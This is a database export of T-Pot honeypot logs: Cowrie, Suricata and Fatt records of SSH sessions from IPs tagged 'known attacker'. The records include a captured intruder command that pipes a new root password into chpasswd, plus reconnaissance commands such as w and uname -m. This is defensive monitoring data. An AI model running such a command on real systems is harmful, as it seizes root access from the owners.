31352	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:08.571343+03	2021-09-20 14:45:04.374142+03	{"_id": "UAYFA3wBvYTbRNuEQkNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "150.109.115.128", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "d8a32464a4ea", "@version": "1", "duration": 0.42481398582458496, "duplicate": true, "timestamp": "2021-09-20T11:44:08.571343Z", "@timestamp": "2021-09-20T11:44:08.571Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31353	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:08.146616+03	2021-09-20 14:45:04.375142+03	{"_id": "TwYFA3wBvYTbRNuEQkNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:08.146616Z", "@timestamp": "2021-09-20T11:44:08.146Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31354	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:09.333346+03	2021-09-20 14:45:04.376142+03	{"_id": "UQYFA3wBvYTbRNuERkNB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "150.109.115.128", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "d8a32464a4ea", "@version": "1", "duration": 0.42864465713500977, "duplicate": true, "timestamp": "2021-09-20T11:44:09.333346Z", "@timestamp": "2021-09-20T11:44:09.333Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31357	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:07.370309+03	2021-09-20 14:45:04.380141+03	{"_id": "SwYFA3wBvYTbRNuEPkNx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "echo \\"root:y0Eh16zwI3NK\\"|chpasswd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: echo \\"root:y0Eh16zwI3NK\\"|chpasswd|bash", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:07.370309Z", "@timestamp": "2021-09-20T11:44:07.370Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31358	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:10.121104+03	2021-09-20 14:45:04.381141+03	{"_id": "VgYFA3wBvYTbRNuESkMq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "150.109.115.128", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "d8a32464a4ea", "@version": "1", "duration": 0.4296000003814697, "duplicate": true, "timestamp": "2021-09-20T11:44:10.121104Z", "@timestamp": "2021-09-20T11:44:10.121Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31359	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:10.477237+03	2021-09-20 14:45:04.383143+03	{"_id": "VwYFA3wBvYTbRNuESkMq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:10.477237Z", "@timestamp": "2021-09-20T11:44:10.477Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31360	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:11.240286+03	2021-09-20 14:45:04.384141+03	{"_id": "XAYFA3wBvYTbRNuETkMT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:11.240286Z", "@timestamp": "2021-09-20T11:44:11.240Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31361	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:11.240836+03	2021-09-20 14:45:04.385142+03	{"_id": "XQYFA3wBvYTbRNuETkMT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:11.240836Z", "@timestamp": "2021-09-20T11:44:11.240Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31362	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:11.669287+03	2021-09-20 14:45:04.387142+03	{"_id": "XgYFA3wBvYTbRNuETkMT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "150.109.115.128", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "d8a32464a4ea", "@version": "1", "duration": 0.4290809631347656, "duplicate": true, "timestamp": "2021-09-20T11:44:11.669287Z", "@timestamp": "2021-09-20T11:44:11.669Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31365	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:10.900972+03	2021-09-20 14:45:04.390141+03	{"_id": "WwYFA3wBvYTbRNuETkMT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 20, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "150.109.115.128", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "d8a32464a4ea", "@version": "1", "duration": 0.4238159656524658, "duplicate": true, "timestamp": "2021-09-20T11:44:10.900972Z", "@timestamp": "2021-09-20T11:44:10.900Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31366	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:12.033609+03	2021-09-20 14:45:04.391141+03	{"_id": "XwYFA3wBvYTbRNuEUUP6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:12.033609Z", "@timestamp": "2021-09-20T11:44:12.033Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31367	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:16.251535+03	2021-09-20 14:45:04.393142+03	{"_id": "fAYFA3wBvYTbRNuEYUOg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "150.109.115.128", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "d8a32464a4ea", "@version": "1", "duration": 0.4224238395690918, "duplicate": true, "timestamp": "2021-09-20T11:44:16.251535Z", "@timestamp": "2021-09-20T11:44:16.251Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31368	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:16.588908+03	2021-09-20 14:45:04.394141+03	{"_id": "fQYFA3wBvYTbRNuEYUOg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:16.588908Z", "@timestamp": "2021-09-20T11:44:16.588Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31369	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:44:33.612114+03	2021-09-20 14:45:04.395142+03	{"_id": "vgYFA3wBvYTbRNuEpEMT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 128.199.123.0:54546 (192.168.176.2:22) [session: 6375044f0140]", "session": "6375044f0140", "@version": "1", "protocol": "ssh", "src_port": 54546, "dest_port": 22, "timestamp": "2021-09-20T11:44:33.612114Z", "@timestamp": "2021-09-20T11:44:33.612Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31380	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:22.95162+03	2021-09-20 14:45:04.408142+03	{"_id": "oQYFA3wBvYTbRNuEfEP-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "150.109.115.128", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "d8a32464a4ea", "@version": "1", "duration": 0.42226743698120117, "duplicate": true, "timestamp": "2021-09-20T11:44:22.951620Z", "@timestamp": "2021-09-20T11:44:22.951Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31370	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:44:33.787109+03	2021-09-20 14:45:04.396142+03	{"_id": "vwYFA3wBvYTbRNuEpUO_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:44:33.437006+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 163, "bytes_toserver": 293}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2221616731892494, "payload": "U1NILTIuMC1saWJzc2gtMC42LjMK", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 54546, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:44:33.787109Z", "@timestamp": "2021-09-20T11:44:33.787Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "SSH-2.0-libssh-0.6.3\\n"}}	1	\N	\N	alert	known attacker	\N
31371	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:44:33.787145+03	2021-09-20 14:45:04.397142+03	{"_id": "wAYFA3wBvYTbRNuEpUO_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "flow_id": 2221616731892494, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 54546, "dest_port": 22, "timestamp": "2021-09-20T11:44:33.787145Z", "@timestamp": "2021-09-20T11:44:33.787Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31372	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:44:33.787909+03	2021-09-20 14:45:04.398142+03	{"_id": "wQYFA3wBvYTbRNuEpkO2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "128.199.123.0", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54546, "timestamp": "2021-09-20T11:44:33.787909", "@timestamp": "2021-09-20T11:44:33.787Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31373	128.199.123.0	109.199.241.180	Fatt	2021-09-20 14:44:33.962093+03	2021-09-20 14:45:04.400141+03	{"_id": "wgYFA3wBvYTbRNuEpkO2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 54546, "dest_port": 22, "timestamp": "2021-09-20T11:44:33.962093", "@timestamp": "2021-09-20T11:44:33.962Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31374	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:44:33.962322+03	2021-09-20 14:45:04.401143+03	{"_id": "xwYFA3wBvYTbRNuEp0P8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "6375044f0140", "@version": "1", "timestamp": "2021-09-20T11:44:33.962322Z", "@timestamp": "2021-09-20T11:44:33.962Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
